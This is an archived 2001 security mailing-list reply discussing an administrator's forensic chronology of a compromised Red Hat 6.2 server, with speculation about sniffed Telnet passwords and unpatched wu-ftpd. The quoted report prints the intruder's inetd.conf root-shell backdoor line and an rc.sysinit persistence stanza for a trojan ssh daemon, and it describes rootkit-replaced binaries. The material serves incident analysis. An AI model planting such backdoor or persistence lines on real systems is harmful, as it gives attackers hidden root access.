All, These are the things that make my day! Here is my hypothesis: Anyone else care to share one I would like to hear it... 1. There are a large number of clear text authenticated protocols that are traversing the wire in order to access the machine he speaks of. Telnet, FTP, authenticated SMTP and POP3 can all have their passwords pulled right off of the wire. I would say the possibility that this guy is logging in as ROOT with TELNET is a real possibility. Do that from an untrusted network and you might as well be asking for someone to own you. ESPECIALLY with the UNLIMITED availability and permeance of DSNIFF. 2. The standard version of wu-ftp that shipped with Redhat 6.3 was wu-ftp 2.6.03. If unpatched as this email outlines...they were toast...sitting out on the Internet BEGGING someone to poke around. The following link shows a list as long as my arm of known exploits and self help trojans and root kits for this version of their implementation. The misnomer here is that they have taken measures by adding a firewall to "filter" traffic. There is significantly more that needs to be done to actively pursue securing an infrastructure then implementing a firewall. By diligently maintaining patch levels an administrator is accepting the responsibility bestowed on them when they accept the "ownership" of a machine. Understanding the way protocols communicate is another very important piece of securing environments. There are alternatives or alternative implementations to ALL of the services this guy had running that could have kept this machine from being compromised. The answer is to eliminate ignorance and enhance knowledge. It is very simple...UNDERSTAND the risk and MITIGATE the risk based on the drivers which dictate your business. Building the wall is not all it takes. Responsible internet patrons make sure that they are securing not only for their own privacy and continuity of data, but also to eliminate their exposure to becoming a zombie in DDOS attacks and platforms for other kinds of mischief. That's just my opinion, I could be wrong... Chris ----- Original Message ----- From: "Lisa Bogar" <lbogarat_private> To: <security-basicsat_private>; <forensicsat_private> Sent: Wednesday, May 16, 2001 11:34 AM Subject: Red Hat compromise > > I received this message from a consultant in town on Friday. I work at > the University and he was looking for some suggestions. Thought someone > might be able to shed some light on how the person got into the box and > also how one might monitor this compromise. I have already told him to > reinstall. > > Thanks, > Lisa > > > Here is the chronology I was given. > > > Lisa, > > Here is a long winded chronology of our little computer break in. Thank you > for your help. > Mack > > > > On Monday, May 7 at 1:30 AM my client's computer was broken into. > > Our system is a Red Hat Linux v6.2 kernel version 2.2.14-5.0. It was a > fairly standard installation with HTTP, FTP, SMTP, IMAP, and NNTP, and other > standard INET services. The system was placed behind a FlowPoint FP2200-22 > SDSL router/firewall with NAT. The ports allowed through the router were 21 > (FTP), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3) and 143 > (IMAP). Internally, we use Samba for file and printer sharing. > > 1:28 AM > > The first indication of infiltration is the following line was appended to > the file /etc/inetd.conf: > 6550 stream tcp nowait root /bin/sh sh -i > which provides a nice back door and indicates perpetrator had root access. > > 1:34 AM > > The /bin/.../psybnc directory was created and the psybnc program files > (1.9MB) were downloaded. That directory name is three dots (...), which > makes it a hidden directory. Psybnc is an internet chat program. > > 9:44AM > > The files /bin/trmzbsh and /usr/sbin/nscdx were added to the system. Trmzbsh > is a bash shell and nscdx is a ssh (secure shell) daemon. In addition, the > following was added to /etc/rc.d/rc.sysinit so that a secure shell access is > maintained even on reboot (it has nothing to do with being a name server > cache that I can find). > # Name Server Cache Demon if [ -x /usr/sbin/nscdx ]; then > /usr/sbin/nscdx -q fi > I never did notice the nscdx process running. The ps, top, and the ls, and > find commands were broken. I noticed them being broken right away, but I was > coding....and thats hard for me....and I HATE interruptions....and I just > put it on the list of curiosities to solve later when I had time (or became > interested). I did become curious on how they broke those commands because > the executables in /bin were not changed. I still do not know because I > started restoring the system. I do know that they created the directory > /usr/share/locale/su/.back and downloaded the following files into it: > secure, messages, wtmp, netstat, ps, pstree, top, ls, find, du, dir, and > vdir. That directory is now missing, probably because of my actions during > reinstallation the next day. > > 11:02AM > > Not satisfied, they came back. The psybnc program was probably not working > for they downloaded the Eggdrop IRC Bot ("the most advanced IRC robot > available") into the /home/orders/.../eggdrop1.4.3 directory (7.2MB). But > worse, they commandeered our TCP connection and started a log file > /bin/tcp.log which saved the time, machine name, IP address, login name, > password, and other codes for every login of every user to every other > system they connected to (e.g. for email). It even caught su's to other > local users over a telnet session. > > I actually noticed them that time too. I was working on the system with 5 or > 6 telnet sessions open and I got angry when I lost a couple of them because > they 'froze'. But because that happens off and on anyway, I have learned to > sit on my hands and quietly curse our good friends providing DSL service. > This time it was a clue that was ignored...I HATE interruptions.... > > Other indications of our compromised network was that the computer did not > show up on the other PC's Network Neighborhood, and connections to the IMAP > mail server daemon failed. > > > To the best of my knowledge, they haven't been back. But how would I know? > nscdx/trmzbsh combo was the last thing I broke. I assume they had access to > 24hrs of TCP activity and passwords. > > The targeted computer is not quite into production, so although it is being > used, it is not an active machine and I had the leisure of being able to > take the time to investigate system changes. After moving and removing their > changes, I changed the line in /etc/inetd.conf to: > 65500 stream tcp nowait root /bin/su su guest -c /usr/local/bin/oursh > which executes a little script that sends me a page and then executes: > export PS1='bash# ' exec /bin/sh -i > which displays a prompt like they had. > > So now I get paged when they come back. So what? What am I going to do? Shut > down the machine? If they are smart they won't, for I am sure I gave them > enough clues that I was stumbling on to them. > > I tried to set up a sandbox for them using chroot and a restricted shell, > but I cannot get that to work. I did it 10 years ago, but I can't do it > today (!!). Another Unix had a tee command that had a -u (unbuffered) option > so that I could: > tee -u /tmp/keymon | sh -i > and get a log of the keystrokes they feed us. But I can't do that anymore. > Progress....... > > > I find myself getting much more irritated when a person is running amuck on > my system than I do combating a virus/worm. I originally thought this was a > worm, but the difference in time between compromising /etc/inetd.conf and > downloading psybnc is too long for a program. They were efficient, though. > They have done this before. > > I think it is more than one person. The two chat programs could mean one > person try try trying again, but I think its a buddy saying "No No, use this > one". > > Most of the literature on security is on how to protect yourself, how to > build walls. That's fine, I can do that (ugh), but once they are over the > wall, how can we find out who they are and where they are located? If I do > leave a hole in the wall, how can I restrict them and monitor what they try > to do? I would like to get a name and address so I could turn them in to the > authorities, but I would settle for any kind of evidence that would be > worthwhile reporting. > > Have any suggestions? >
This archive was generated by hypermail 2b30 : Thu May 17 2001 - 08:22:36 PDT